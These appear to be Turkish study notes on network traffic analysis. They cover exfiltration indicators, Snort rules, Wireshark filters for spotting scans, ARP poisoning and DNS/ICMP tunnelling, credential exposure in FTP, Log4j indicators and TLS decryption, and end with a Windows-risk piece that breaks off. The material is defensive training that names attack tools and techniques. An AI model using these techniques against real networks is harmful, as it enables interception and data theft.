Gizli ve Kodlama	DNS tünelleme, base64 veya parçalı kodlama, resim/ses dosyalarına steganografi, yavaş ve düşük profilli aktarımlar.	DNS günlükleri, çok sayıda küçük POST içeren proxy günlükleri, kesintili yüklemeler ve şüpheli işlem etkinliğinin korelasyonu.
İç Tehdit ve İşbirliği Araçları	Slack/Teams/Dropbox/Google Drive'a harici kullanıcılara yükleme veya paylaşım.	Denetim günlükleri (paylaşım olayları, dosya indirmeleri), posta sunucusu günlükleri.

Belirli Veri Sızdırma Vektörleri

- **DNS Tünelleme:** Verileri DNS sorgularının/yanıtlarının içine kodlayarak güvenlik duvarlarını ve web proxy'lerini atlatır.

- **Göstergeler:** Özellikle 60–100 karakterden uzun, **uzun alt alan adı etiketleri**; sorgu adında yüksek entropi veya Base64 benzeri desenler; nadir kayıt türleri (TXT, NULL).
- **FTP Üzerinden Sızdırma:** Büyük miktarda veriyi taşımak için FTP protokolünü kullanır.
 - **Göstergeler:** Düz metin kimlik bilgilerini gösteren **USER** ve **PASS** komutları; büyük veya tekrarlanan transferleri gösteren **STOR** (yükleme) ve **RETR** (indirme) komutları.
- **HTTP Üzerinden Sızdırma:** Normal web trafiğiyle karışarak gizlenir.
 - **Göstergeler:** Harici/beklenmedik ana makinelere yapılan alışılmadık derecede büyük HTTP POST istekleri; düşük itibarlı alan adlarına yapılan istekler.
- **ICMP Üzerinden Sızdırma:** Dosyaların kodlanmış parçalarını ICMP yankı (echo) paketlerinin yük kısmına yerleştirir.

Pratik Araçlar: Snort NIDS/NIPS

SNORT, açık kaynaklı, kural tabanlı bir Ağ Saldırı Tespit ve Önleme Sistemi (NIDS/NIPS)'dir. Kötü amaçlı ağ etkinliğini tanımlamaya yardımcı olan bir dizi kural kullanır ve bu kurallara uyan paketleri bularak kullanıcılar için uyarılar oluşturur.

Çalışma Modları ve Parametreleri

Mod	Parametreler	Açıklama
Sniffer Modu	-v, -d, -e, -X, -i	Ağ trafiğini tcpdump gibi dinleyerek paket verilerini, TCP/IP başlıklarını ve tam paket içeriğini konsolda gösterir.
Paket Kaydedici Modu	-l, -K ASCII, -r, -n	Dinlenen paketleri bir günlük dizinine kaydeder. Varsayılan konum /var/log/snort 'tur. -K ASCII ile ASCII formatında kaydeder.
IDS/IPS Modu	-c, -T, -N, -D, -A	Kullanıcı tanımlı kurallara göre trafiği yönetir. -c ile yapılandırma dosyasını belirtir, -A fast ile hızlı uyarı modunu etkinleştirir.
PCAP İnceleme Modu	-r, --pcap-list, --pcap-show	Kaydedilmiş pcap dosyalarını okuyarak kural setine göre trafik istatistikleri ve uyarılar üretir.

Snort Kural Yapısı

Her Snort kuralı bir eylem, protokol, kaynak ve hedef IP/port bilgileri, yön ve seçenekler içerir. `eylem protokol kaynak_ip kaynak_port -> hedef_ip hedef_port (seçenekler)`

- **Aksiyonlar (Actions):**
 - `alert`: Bir uyarı oluşturur ve paketi günlüğe kaydeder.
 - `log`: Paketi günlüğe kaydeder.
 - `drop`: Paketi engeller ve günlüğe kaydeder.
 - `reject`: Paketi engeller, günlüğe kaydeder ve oturumu sonlandırır.
- **Protokol:** `ip`, `tcp`, `udp`, `icmp` gibi protokolleri belirtir.
- **IP ve Port Filtreleme:**
 - Tek IP: `192.168.1.56`
 - CIDR aralığı: `192.168.1.0/24`
 - Hariç tutma: `!192.168.1.0/24`
 - Port aralığı: `1:1024` (1 ile 1024 arası), `:1024` (1024'e kadar), `1025:` (1025'ten büyük veya eşit), `[21,23]` (21 ve 23).
- **Yön (Direction):**
 - `->`: Kaynaktan hedefe akış.
 - `<>`: Çift yönlü akış.

Ağ Trafik Analizi ve Araçları: Kapsamlı Bilgilendirme Notu

Yönetici Özeti

Bu bilgilendirme notu, Ağ Trafik Analizi'nin (NTA) temel prensiplerini, bu analizde kullanılan temel araçları ve siber güvenlik olaylarını tespit etmeye yönelik pratik analiz tekniklerini kapsamlı bir şekilde özetlemektedir. NTA, yalnızca Wireshark gibi araçları kullanmaktan ibaret olmayıp, ağdaki veri akışını tam görünürlükle anlamak için log korelasyonu, derin paket denetimi ve ağ akış istatistiklerinin birleşimini içeren bir süreçtir. Temel amaçları arasında ağ performansını izlemek, anormallikleri tespit etmek ve siber saldırıları ortaya çıkarmak, doğrulamak ve yeniden yapılandırmak yer alır.

Analiz, TCP/IP yığınının katmanlarında (Uygulama, Taşıma, İnternet) gerçekleştirilir ve her katmandaki başlık bilgileri ile uygulama verileri (payload) incelenir. Bu inceleme, oturum kaçırma (session hijacking) ve parçalama saldırıları (fragmentation attacks) gibi gelişmiş tehditlerin tespitini mümkün kılar. Trafik akışları, genellikle LAN dışına çıkan/giren **Kuzey-Güney (North-South)** ve LAN içinde kalan **Doğu-Batı (East-West)** olarak sınıflandırılır; özellikle Doğu-Batı trafiğinin izlenmesi, ağ içinde yanal hareket eden saldırıların tespit etmek için kritiktir.

Wireshark ve **NetworkMiner** gibi araçlar bu analiz sürecinin merkezinde yer alır. Wireshark, derinlemesine paket analizi, güçlü filtreleme yetenekleri ve 3000'den fazla protokol desteği ile öne çıkarken; NetworkMiner, hızlı bir genel bakış, işletim sistemi tespiti (OS fingerprinting) ve dosya çıkarma gibi özellikleriyle "kolay hedefleri" (low-hanging fruits) toplamak için idealdir.

Pratik analiz senaryoları arasında, Nmap taramalarını (TCP Connect, SYN, UDP) pencere boyutu (window size) ve ICMP yanıtları gibi ayırt edici özelliklere dayanarak tespit etmek; ARP zehirlenmesi (MITM) saldırılarını yinelenen IP uyarıları ve yoğun ARP cevap paketleri aracılığıyla belirlemek; ve DHCP, NetBIOS ve Kerberos protokollerini analiz ederek ağdaki cihazların isimlerini (hostname) ve kullanıcı kimliklerini (username) ortaya çıkarmak bulunur. Ayrıca, verilerin ICMP ve DNS gibi güvenilir protokoller içine gizlenerek sızdırıldığı tünelleme saldırıları, anormal paket boyutları ve uzun sorgu isimleri ile tespit edilebilir. FTP ve HTTP gibi şifresiz protokollerin analizi, kullanıcı adı/şifre bilgilerinin çalınmasını, kaba kuvvet saldırılarını ve Log4j gibi web zafiyetlerini ortaya çıkarabilir. Şifreli HTTPS trafiği ise, doğru anahtar log dosyaları (SSLKEYLOGFILE) kullanılarak Wireshark üzerinde çözülebilir ve şeffaf hale getirilebilir.

Bölüm 1: Ağ Trafik Analizinin (NTA) Temelleri

NTA'nın Tanımı ve Kapsamı

Ağ Trafik Analizi (NTA), bir ağdaki veri akışını yakalama, inceleme ve analiz etme sürecidir. Temel hedefi, ağ içinde ve dışında neyin iletişim kurduğunu anlamak için tam bir görünürlük sağlamaktır. NTA, sadece Wireshark gibi bir araçtan ibaret değildir; daha geniş bir perspektifle, belirli hedefler doğrultusunda çeşitli logların ilişkilendirilmesi, derin paket denetimi (deep packet inspection) ve ağ akış istatistiklerinin bir kombinasyonudur.

Ağ trafiğini analiz etme becerisi, SOC L1 analistleri başta olmak üzere, mavi ve kırmızı takımlardaki birçok rol için temel bir yetenektir. L1 analistlerinin, büyük miktardaki ağ bilgisi arasında gezinebilmesi, normal olanı (baseline) anlaması ve normalden sapan durumları tespit edebilmesi beklenir.

Neden Ağ Trafiği Analiz Edilmelidir?

Ağ trafiği analizi genel olarak şu amaçlarla kullanılır:

- **Ağ Performansını İzleme:** Ağdaki ani performans artışları veya yavaşlamalar gibi anormallikleri kontrol etmek.
- **Anormallikleri Kontrol Etme:** Normal dışı aktiviteleri tespit etmek.
- **Şüpheli İletişim İçeriğini İnceleme:** İç ve dış ağdaki şüpheli iletişimlerin içeriğini denetlemek. Örneğin, DNS üzerinden veri sızdırma, HTTP üzerinden zararlı bir ZIP dosyasının indirilmesi veya ağ içinde yanal hareketler.

Bir Güvenlik Operasyonları Merkezi (SOC) perspektifinden bakıldığında, NTA şu konularda yardımcı olur:

- Şüpheli veya kötü amaçlı faaliyetlerin tespiti.
- Olay müdahalesi sırasında saldırıların yeniden yapılandırılması.
- Oluşturulan uyarıların (alerts) doğrulanması ve onaylanması.

Gözlemlenebilir Ağ Trafiği: TCP/IP Katmanları

Ağda gözlemlenebilecek trafik, neredeyse her ağ arayüzüne sahip cihazda uygulanan **TCP/IP yığını** mimarisi kullanılarak en iyi şekilde açıklanabilir. Her katman, veriyi bir sonraki katmana iletmek için gereken bilgileri (başlıklar) tanımlar. Bu başlıklarda yer alan bilgiler ve uygulama verileri, analiz edilmek istenen temel unsurlardır.

- **Uygulama (Application) Katmanı:** Bu katmanda uygulama başlık bilgileri ve asıl veri olan **payload** bulunur. Bu bilgiler, kullanılan uygulama katmanı protokolüne göre değişiklik gösterir.
- **Taşıma (Transport) Katmanı:** Uygulama verisi ve başlığı, taşıma katmanında daha küçük parçalara bölünür (segmentasyon) ve kapsülленir. Her parçaya, çoğunlukla TCP veya UDP olan bir taşıma başlığı eklenir. Güvenlik duvarı logları genellikle kaynak ve hedef portları ile bayrakları (flags) içerir, ancak diğer alanlar genellikle dahil edilmez. Bu eksik alanlar, **Oturum Kaçırma (Session Hijacking)** gibi

saldırıların tespitinde kritik olabilir. Bu tür saldırılar, başlıktaki **sıra numaraları (sequence numbers)** analiz edilerek tespit edilebilir.

- **İnternet Katmanı:** Taşıma katmanından gelen bir segment, internet katmanında kendi başlığını alır. Eğer segment, **Maksimum İletim Birimi'nden (MTU)** büyükse, **parçalara (fragments)** bölünür. Bu katmanda en sık loglanan alanlar kaynak ve hedef IP ile TTL'dir. Ancak, parçalama (fragmentation) saldırılarını tespit etmek için "fragment offset" ve "total length" gibi alanların incelenmesi gerekir. Saldırganlar, IDS'leri atlatmak için küçük parçalar oluşturabilir veya **örtüşen (overlapping)** byte aralıkları kullanarak parçaların yeniden birleştirilmesini bozabilirler. Örneğin, bir paketin offset değeri, önceki bir paketin kapladığı byte aralığı ile çakışırsa, bu bir "overlap" durumudur ve IDS'leri atlatmak için kullanılabilir.

Ağ Trafiği Kaynakları ve Akışları

Ağ trafiği kaynakları ve akışları, kurumsal bir ağdaki önceden belirlenmiş yapılara göre gruplandırılabilir.

Kaynaklar

Trafik kaynakları iki ana kategoriye ayrılır: ara cihazlar ve uç nokta cihazları.

- **Ara Cihaz Kaynakları (Intermediary Sources):** Trafiğin çoğunlukla üzerinden geçtiği cihazlardır. Bu kategoriye **güvenlik duvarları, anahtarlar, web proxy'leri, IDS, IPS, yönlendiriciler, erişim noktaları ve kablosuz LAN denetleyicileri** girer. Bu cihazlar tarafından üretilen trafik, yönlendirme protokolleri (EIGRP, OSPF), yönetim protokolleri (SNMP, PING) ve destekleyici protokollerden (ARP, DHCP) kaynaklanır.
- **Uç Nokta Kaynakları (Endpoint Sources):** Trafiğin başladığı ve bittiği cihazlardır ve ağ bant genişliğinin büyük kısmını kullanırlar. Bu kategoriye **sunucular, istemciler, IoT cihazları, yazıcılar, sanal makineler, bulut kaynakları, mobil telefonlar ve tabletler** dahildir.

Akışlar

Ağ trafiği akışları, ağdaki hizmetlere göre belirlenir ve iki ana gruba ayrılır:

- **Kuzey-Güney Trafiği (North-South Traffic):** LAN'dan WAN'a çıkan veya WAN'dan LAN'a giren trafiktir. Bu trafik genellikle güvenlik duvarından geçtiği için yakından izlenir. HTTPS, DNS, SSH, VPN ve RDP gibi istemci-sunucu protokolleri bu kategoriye girer. **Güvenlik duvarı kurallarının ve loglamanın doğru yapılandırılması, bu alanda görünürlük için anahtardır.**
- **Doğu-Batı Trafiği (East-West Traffic):** Kurumsal LAN içinde kalan trafiktir ve genellikle daha az izlenir. Ancak, bir ağ ele geçirildiğinde, saldırgan genellikle **ağ içinde yanal olarak hareket etmek (lateral movement)** için bu kategorideki hizmetleri (Active Directory, dosya paylaşımları, uygulama iletişimi vb.) kullanır. Bu nedenle bu akışların takibi hayati önem taşır.

Bilgi Toplama Yöntemleri

Ağ trafiği analizi için bilgi üç ana yolla elde edilir:

1. **Loglar:** Ağdaki her sistem ve protokolün bir loglama yöntemi vardır. Ancak evrensel bir standart yoktur; her üretici kendi loglama formatını (örn: Windows Event Logs, Syslog, CLF) ve içeriğini belirler. Loglar genellikle tam paket detaylarını içermez, sadece kaynak IP ve hedef IP gibi faydalı görülen alanları kaydeder.
2. **Tam Paket Yakalama (Full Packet Capture):** Loglar yetersiz kaldığında, tam paketlerin yakalanması ve incelenmesi gerekir. Bu iki yöntemle yapılır:
 - **Ağ TAP (Network Tap):** Ağ fiziksel olarak yerleştirilen bir cihazdır. Performansı etkilemeden geçen tüm trafiğin bir kopyasını oluşturur ve bu kopyayı analiz için özel bir izleme portuna yönlendirir.
 - **Port Yansıtma (Port Mirroring):** Bir ara cihaz üzerindeki bir porttan geçen paketlerin, bir başka porta yazılımsal olarak kopyalanmasıdır. Cisco bu özelliği **SPAN** olarak adlandırır.
3. **Ağ İstatistikleri:** Ağdaki genel eğilimleri ve anormallikleri anlamak için kullanılır.

Bölüm 2: Ağ Analiz Araçları: Wireshark ve NetworkMiner

Wireshark

Wireshark, canlı trafiği yakalayabilen (sniffing) ve paket yakalama dosyalarını (PCAP) inceleyebilen, açık kaynaklı ve platformlar arası bir ağ paketi analiz aracıdır. Alanındaki en iyi araçlardan biri olarak kabul edilir.

Temel Özellikler ve Kullanım

- **Dosya Detaylarını Görüntüleme:** Özellikle birden fazla pcap dosyasıyla çalışırken, dosyayı tanımlamak ve önceliklendirmek için dosya karması (hash), yakalama zamanı ve arayüz gibi ayrıntıları bilmek önemlidir. Bu bilgilere **"Statistics --> Capture File Properties"** menüsünden erişilebilir.
- **Pakete Gitme (Go to Packet):** Belirli paket numaralarına hızla atlamayı sağlar. Bu özellik, yalnızca paketler arasında gezinmekle kalmaz, aynı zamanda bir konuşmanın belirli bir bölümündeki sonraki paketi bulmaya da yardımcı olur.
- **Paket Bulma (Find Packet):** Paket içeriğine göre arama yapma imkanı sunar. **"Edit --> Find Packet"** menüsü kullanılarak dört farklı girdi türüyle (Display filter, Hex, String, Regex) arama yapılabilir. Arama yapılacak bölmenin (paket listesi, detaylar, byte'lar) doğru seçilmesi kritiktir.
- **Zaman Görüntüleme Formatı:** Varsayılan olarak zamanı "Yakalamanın Başlangıcından İtibaren Saniyeler" olarak gösterir. Daha iyi bir görünüm için genellikle UTC formatı tercih edilir. Bu ayar **"View --> Time Display Format"** menüsünden değiştirilebilir.

İleri Düzey Operasyonlar ve Filtreleme

- **İstatistikler (Statistics):** Bu menü, trafik kapsamı, mevcut protokoller, uç noktalar ve konuşmalar hakkında hızlı bir özet sunarak analistlerin bir hipotez oluşturmalarına yardımcı olan çok sayıda istatistiksel seçenek sunar.
- **Görüntüleme Filtresi Sözdizimi (Display Filter Syntax):** Wireshark'ın en güçlü özelliğidir. 3000'den fazla protokolü destekler ve paket düzeyinde arama yapılmasına olanak tanır.
 - **Karşılaştırma Operatörleri:** `==` (eşit), `!=` (eşit değil), `>` (büyük), `<` (küçük) gibi operatörler kullanılarak filtreler oluşturulabilir. Filtrelerde ondalık ve onaltılık değerler desteklenir.
 - **Mantıksal İfadeler:** `and` (`&&`), `or` (`||`), `not` (`!`) gibi boolean operatörleri ile karmaşık filtreler oluşturulabilir.

Operatör (İngilizce)	Operatör (C-Like)	Açıklama	Örnek
<code>eq</code>	<code>==</code>	Eşit	<code>ip.src == 10.10.10.100</code>
<code>ne</code>	<code>!=</code>	Eşit değil	<code>ip.src != 10.10.10.100</code>
<code>gt</code>	<code>></code>	Büyüktür	<code>ip.ttl > 250</code>
<code>lt</code>	<code><</code>	Küçüktür	<code>ip.ttl < 10</code>
<code>ge</code>	<code>>=</code>	Büyük veya eşit	<code>ip.ttl >= 0xFA</code>
<code>le</code>	<code><=</code>	Küçük veya eşit	<code>ip.ttl <= 0xA</code>
<code>and</code>	<code>&&</code>	Mantıksal VE	<code>(ip.src == 10.10.10.100) and (ip.src == 10.10.10.111)</code>
<code>or</code>	<code> </code>	Mantıksal VEYA	<code>(ip.src == 10.10.10.100) or (ip.src == 10.10.10.111)</code>
<code>not</code>	<code>!</code>	Mantıksal DEĞİL	<code>!(ip.src == 10.10.10.222)</code>

- **Filtre Araç Çubuğu:** Filtrelerin oluşturulduğu ve uygulandığı akıllı bir araç çubuğudur. Filtrelerin geçerliliğini renklerle belirtir: **Yeşil** (geçerli), **Kırmızı** (geçersiz), **Sarı** (uyarı, çalışır ancak güvenilir değildir).
- **Özel Filtreler:**
 - **`contains`:** Paketler içinde belirli bir değeri (büyük/küçük harfe duyarlı) arar. Örnek: `http.server contains "Apache"`

- **matches:** Bir düzenli ifade (regex) kalıbını (büyük/küçük harfe duyarlı) arar. Örnek: `http.host matches "\.(php|html)"`
- **in:** Bir değeri veya alanı belirli bir kapsam/aralık içinde arar. Örnek: `tcp.port in {80 443 8080}`

NetworkMiner

NetworkMiner, açık kaynaklı bir trafik yakalama, PCAP işleme ve protokol analiz aracıdır.

Çalışma Modları ve Özellikler

- **Yakalam Modu (Sniffer Mode):** Sadece Windows'ta kullanılabilen bir trafik yakalama özelliğine sahiptir. Ancak bu özellik, aracın ana amacı değildir ve diğer özellikleri kadar güvenilir bulunmamaktadır.
- **Paket Ayrıştırma/İşleme (Packet Parsing/Processing):** Aracın asıl gücü, yakalanan trafik dosyalarını (PCAP) ayrıştırarak hızlı bir genel bakış ve bilgi sunmasıdır. Bu mod, derinlemesine bir araştırmadan önce "kolay hedefleri" toplamak için önerilir.

Wireshark ile Karşılaştırma

Özellik	NetworkMiner	Wireshark
Amaç	Hızlı genel bakış, trafik haritalama ve veri çıkarma	Derinlemesine analiz
GUI	✓	✓
Trafik Yakalama	✓	✓
PCAP İşleme	✓	✓
OS Tespiti	✓	✗
Parametre/Anahtar Kelime Keşfi	✓	Manuel
Kimlik Bilgisi Keşfi	✓	✓
Dosya Çıkarma	✓	✓
Filtreleme Seçenekleri	Sınırlı	✓
Paket Kod Çözme	Sınırlı	✓
Protokol Analizi	✗	✓

Payload Analizi	✗	✓
İstatistiksel Analiz	✗	✓
Platform Desteęi	✓	✓
Host Kategorizasyonu	✓	✗
Yönetim Kolaylığı	✓	✓

Bölüm 3: Wireshark ile Pratik Trafik Analizi ve Saldırı Tespiti

Ağ Keşfi ve Tarama Tespiti (Nmap)

1. TCP Connect Taramaları (nmap -sT)

- **Özellik:** 3'lü el sıkışma (3-way handshake) sürecini tamamlar.
- **Ayırt Edici Özellik:** **Pencere Boyutu (Window Size)** genellikle 1024 bayttan büyüktür.
- **Davranış:** Açık portlara **SYN**, **SYN/ACK**, **ACK** dizisiyle tam bağlantı kurar. Kapalı portlar **RST/ACK** ile yanıt verir.
- **Wireshark Filtresi:** `tcp.flags.syn == 1 and tcp.flags.ack == 0 and tcp.window_size > 1024`

2. SYN "Stealth" Taramaları (nmap -sS)

- **Özellik:** 3'lü el sıkışma sürecini tamamlamaz (yarı açık tarama).
- **Ayırt Edici Özellik:** **Pencere Boyutu (Window Size)** genellikle 1024 bayta eşit veya daha küçüktür.
- **Davranış:** Açık bir porttan **SYN/ACK** yanıtı aldığında, bağlantıyı tamamlamak yerine **RST** göndererek hemen keser.
- **Wireshark Filtresi:** `tcp.flags.syn==1 and tcp.flags.ack==0 and tcp.window_size <= 1024`

3. UDP Taramaları (nmap -sU)

- **Özellik:** UDP bağlantısız olduğu için el sıkışma yoktur.
- **Davranış:** Açık portlar genellikle yanıt vermez. Kapalı bir porta yapılan istek ise hedef sunucudan **ICMP Type 3, Code 3 (Destination Unreachable: Port Unreachable)** hatası ile yanıtlanır.

- **Wireshark Filtresi:** `icmp.type==3 and icmp.code==3`

Yerel Ağ Saldırıları

ARP Zehirlenmesi (Man-in-the-Middle) Tespiti

- **Zafiyet:** ARP, "durumsuz" (stateless) bir protokoldür. Bir cihaz, talep etmemiş olsa bile kendisine gönderilen bir ARP Cevap (Reply) mesajına sorgusuz sualsiz güvenir.
- **Saldırı Mantiğı:** Saldırgan, hem kurbanı hem de ağ geçidine (gateway) sürekli olarak kendisini diğer tarafmış gibi tanıtan sahte ARP Cevap paketleri gönderir ve trafiği kendi üzerine çeker.
- **Wireshark ile Tespit:**
 - **Filtre:** `arp` filtresi kullanılır. `arp.opcode == 2` ile sadece cevap paketleri incelenebilir.
 - **Gürültü/Spam:** Saldırgan, ARP tablosunu sürekli olarak zehirlemek için yoğun bir şekilde ARP Cevap paketleri gönderir. Trafikteki anormal ARP yoğunluğu bir işarettir.
 - **Wireshark Uyarısı:** Wireshark, aynı IP adresinin kısa süre içinde iki farklı MAC adresiyle ilişkilendirildiğini tespit ederse, **"Duplicate IP address detected"** uyarısı verir. Bu, bir ARP zehirlenmesi saldırısının güçlü bir kanıtıdır.

Kimlik ve Cihaz Tespiti

Hostname ve Kullanıcı Adı Tespiti

- **DHCP Analizi:** Cihazlar IP adresi talep ederken genellikle kendi isimlerini (Hostname) de pakete eklerler. `dhcp.option.dhcp == 3` filtresi ile **DHCP Request** paketleri incelenerek cihaz isimleri elde edilebilir.
- **NetBIOS (NBNS) Analizi:** Yerel ağdaki cihazların birbirleriyle isimleri üzerinden iletişim kurmasını sağlayan eski bir protokoldür. `nbns` filtresi ile yapılan sorgular incelenerek cihaz isimleri bulunabilir.
- **Kerberos Analizi:** Windows domain ortamlarında varsayılan kimlik doğrulama protokolüdür. Bu trafik, hem bilgisayar isimlerini hem de kullanıcı adlarını içerir.
 - **Bilgisayar İsimleri:** Genellikle sonu `$` işaretiyle biter (Örn: `DESKTOP-123$`).
 - **Kullanıcı Adları:** `$` işareti içermez (Örn: `samet.kocats`).
 - **Filtreler:** Genel arama için `kerberos`. Kullanıcı adı aramak için `kerberos.CNameString contains "keyword"`. Sadece kullanıcı adlarını bulmak için `kerberos.CNameString and !(kerberos.CNameString contains "$")`.

Veri Sızdırma ve Tünelleme Teknikleri

Tünelleme, veriyi başka bir protokolün içine gizleyerek taşıma işlemidir. Saldırganlar genellikle güvenlik duvarlarının izin verdiği ICMP ve DNS gibi protokolleri bu amaçla kullanır.

- **ICMP Tünelleme Tespiti:** Saldırganlar, normalde küçük boyutlu olan Ping (ICMP) paketlerinin veri taşıma alanına çaldıkları verileri gizlerler.
 - **Tespit Yöntemi:** Ağda anormal derecede **büyük boyutlu Ping paketleri** görmek şüphe uyandırmalıdır.
 - **Wireshark Filtresi:** `data.len > 64 and icmp`
- **DNS Tünelleme Tespiti:** Saldırgan, çaldığı veriyi DNS sorgularının subdomain kısmına kodlayarak kendi kontrolündeki DNS sunucusuna gönderir.
 - **Tespit Yöntemi:** Çok **uzun ve anlamsız karakterlerden oluşan subdomain sorguları** veya bir istemciden aynı domaine yönelik anormal sayıda sorgu yapılması tünelleme belirtisidir.
 - **Wireshark Filtreleri:** `dns.qry.name.len > 15 and !mdns` veya bilinen araçları aramak için `dns contains "dnscat"`.

Uygulama Katmanı Protokol Analizi

FTP Trafik Analizi

- **Risk:** FTP, şifreleme kullanmadığı için ağ trafiğini dinleyen bir saldırgan kullanıcı adlarını, şifreleri ve aktarılan dosyaları açık metin (cleartext) olarak görebilir.
- **Analiz ve Saldırı Tespiti:**
 - **Kimlik Bilgileri:** `ftp.request.command == "USER"` ve `ftp.request.command == "PASS"` filtreleri ile kullanıcı adı ve şifreler görülebilir.
 - **Başarılı Giriş:** `ftp.response.code == 230` filtresi, başarılı kullanıcı girişlerini gösterir.
 - **Başarısız Giriş:** `ftp.response.code == 530` filtresi, başarısız giriş denemelerini gösterir. Çok sayıda `530` kodu, bir **Kaba Kuvvet (Brute-Force)** saldırısına işaret edebilir.

HTTP Trafik Analizi

- **Önem:** HTTP şifresiz olduğu için veri sızdırma, web saldırıları ve C2 trafiği için saldırganların sıkça kullandığı bir alandır.
- **Analiz Noktaları:**
 - **İstek Metotları:** `http.request.method == "POST"` filtresi, sunucuya veri gönderilen (giriş yapma, dosya yükleme) işlemleri izlemek için kritiktir.
 - **Cevap Kodları:** `404` (Not Found) kodları tarama aktivitesine, `401/403` (Unauthorized/Forbidden) kodları yetkisiz erişim denemelerine, `500` (Internal Error) kodları ise bir zafiyetin tetiklenmiş olabileceğine işaret edebilir.
 - **User-Agent Analizi:** Saldırganlar genellikle User-Agent başlığını taklit eder. Aynı IP'den gelen farklı User-Agent'lar, yazım hataları veya `Nmap`, `Sq1map` gibi araçların varsayılan kimlikleri şüphe uyandırmalıdır. **Log4j** zafiyetinde olduğu gibi, saldırı kodu (`jndi:ldap`) User-Agent içine gizlenebilir.

HTTPS (TLS) Trafiğinin Şifresini Çözme

- **Sorun:** HTTPS, TLS protokolü ile trafiği şifrelediği için içerik doğrudan görülemez. Analist için bu bir "karanlık oda"dır.
- **Şifreyi Çözmeden Görülebilenler:** Şifreli oturum başlamadan önceki **El Sıkışma (Handshake)** aşaması şifresizdir. `tls.handshake.type == 1` (Client Hello) ve `tls.handshake.type == 2` (Server Hello) filtreleri ile en azından kimin kimle şifreli bağlantı kurmaya çalıştığı görülebilir.
- **Şifre Çözme Yöntemi:**
 1. **Anahtar Log Dosyası:** Tarayıcılar (Chrome, Firefox), `SSLKEYLOGFILE` ortam değişkeni ayarlandığında, oturum şifreleme anahtarlarını bir metin dosyasına kaydedebilir.
 2. **Kritik Kural:** Anahtar kaydı, trafik kaydı (pcap) ile **eş zamanlı** yapılmalıdır.
 3. **Wireshark'ta Uygulama:** "Edit --> Preferences --> Protocols --> TLS" menüsünden `(Pre)-Master-Secret log filename` kısmına anahtar log dosyası gösterilir. Bu işlemten sonra, daha önce "Application Data" olarak görünen şifreli trafik, okunabilir HTTP/HTTP2 paketlerine dönüşür.

Siber Saldırganların Gözünden Kaçmayan 5 Kritik Windows Gerçeği

Giriş

Merhaba! Neredeyse hepimizin her gün kullandığı Windows işletim sistemi, genellikle güvenilir ve tanıdık bir araç olarak görülür. Ancak bu tanıdıklık, bazen tehlikeli bir rahatlığa yol açabilir. Peki, Windows'un kendi içinde barındırdığı, BT yöneticileri için tasarlanmış meşru özelliklerin, aslında siber saldırganlar için ne kadar güçlü birer silaha dönüşebileceğini hiç düşündünüz mü? Bu yazıda, sıradan kullanıcıların genellikle gözden kaçırdığı, ancak siber güvenlik uzmanları için kritik öneme sahip olan, Windows'un en şaşırtıcı ve etkili beş yönünü ele alacağız. Bu gerçekler, en bildiğimiz yazılımların bile nasıl beklenmedik güvenlik riskleri barındırabileceğini gözler önüne seriyor.

1. Gerçek: "Uzak Masaüstü Protokolü" Aslında "Fidye Yazılımı Dağıtım Protokolü" Anlamına Gelebilir

Uzak Masaüstü Protokolü (RDP), BT yöneticilerinin sunucuları ve bilgisayarları uzaktan yönetmesini sağlayan son derece kullanışlı bir özelliktir. Ancak bu kolaylık, doğru yapılandırılmadığında devasa bir güvenlik zafiyetine dönüşür. Bu özelliğin internete açık bırakılması endişe verici derecede yaygındır. Censys Search verilerine göre, şu anda **5 milyondan fazla** RDP özellikli makine internetten erişilebilir durumda. Bu durum o kadar tehlikeli ve yaygın ki, siber güvenlik savunucuları RDP'yi sık sık farklı bir isimle anıyor: **Ransomware Deployment Protocol** (Fidye Yazılımı Dağıtım Protokolü). Zayıf bir parola (Administrator: Summer2025 gibi) ile internete açık bırakılmış bir RDP portu, saldırganlar için açık bir davetiyedir. Saldırgan botnet'leri, Brute Force (Kaba Kuvvet) saldırılarıyla sürekli olarak bu tür sistemleri tarar. Bir analistin Windows Olay Günlüklerine baktığında gördüğü tek bir olay değildir; tek bir IP adresinden gelen binlerce 4625 olay kimlikli (Başarısız Oturum Açma) denemeden oluşan bir fırtınadır. Saatler veya günler süren bu denemelerin ardından, günlüklerde beliren tek bir başarılı 4624 olay kimliği (Başarılı Oturum Açma), sistemin tamamen ele geçirildiği anlamına gelir. Bu durum, yönetim kolaylığı için yapılan basit bir yapılandırmanın nasıl büyük bir siber felakete yol açabileceğinin en net kanıtıdır. *Eğitmen Notu: Bu riski ortadan kaldırmanın en kesin yolu, RDP'yi internete asla doğrudan açmamak ve erişimi her zaman bir VPN (Sanal Özel Ağ) arkasından sağlamaktır.*

2. Gerçek: PowerShell, Saldırganların En Sevdiği "İsviçre Çakısı"dır

Normalde, bir program çalıştırdığınızda, işletim sistemi o iş için tek bir süreç (process) oluşturur. Örneğin, firefox.exe bir web tarayıcısı süreci, notepad.exe ise bir metin düzenleyici süreci başlatır. Ancak powershell.exe bu kuralın bir istisnasıdır. PowerShell, tek bir süreç içinde yüzlerce farklı komut çalıştırabilen güçlü bir komut satırı aracıdır. Bu durum, yalnızca süreç oluşturma olaylarını (Sysmon event ID 1 gibi) izleyen temel güvenlik sistemleri için büyük bir "kör nokta" oluşturur. Saldırganlar, tek bir powershell.exe süreci başlattıktan sonra, yeni süreçler oluşturmadan sistemde keşif yapabilir, veri çalabilir ve hatta internetten ek zararlı yazılımlar indirebilirler. Bu aktiviteler, geleneksel izleme mekanizmaları tarafından fark edilmeyebilir. Bu nedenle, PowerShell aktivitelerini etkin bir şekilde izlemek, PowerShell geçmiş dosyasını kontrol etmek gibi daha derinlemesine yöntemler gerektirir.

3. Gerçek: Windows'un "Yardımsever" Bir Özelliği, En Yaygın Kandırmacadır

Windows, kullanıcı deneyimini basitleştirmek amacıyla varsayılan olarak bilinen dosya türlerinin uzantılarını gizler. Örneğin, program.exe adında bir dosya, size sadece program olarak gösterilir. Bu "yardımsever" özellik, siber saldırganların en sevdiği kandırmacalardan birinin temelini oluşturur. Saldırganlar, bu özelliği kötüye kullanarak zararlı yazılımlarını masum dosyalar gibi gösterirler. Örneğin, invoice.pdf.exe adında bir dosyayı sisteme soktuklarında, kullanıcı bunu sadece invoice.pdf olarak görür ve bir PDF dosyası olduğunu düşünerek tereddüt etmeden açar. Benzer şekilde, cat.png.com gibi bir dosya, .com uzantısı aslında çalıştırılabilir bir program olmasına rağmen, masum bir resim dosyası gibi görünebilir. Saldırganlar genellikle bu dosyaların ikonlarını da PDF veya resim ikonuyla değiştirerek kandırmacayı daha inandırıcı hale getirirler. Bu basit ama inanılmaz 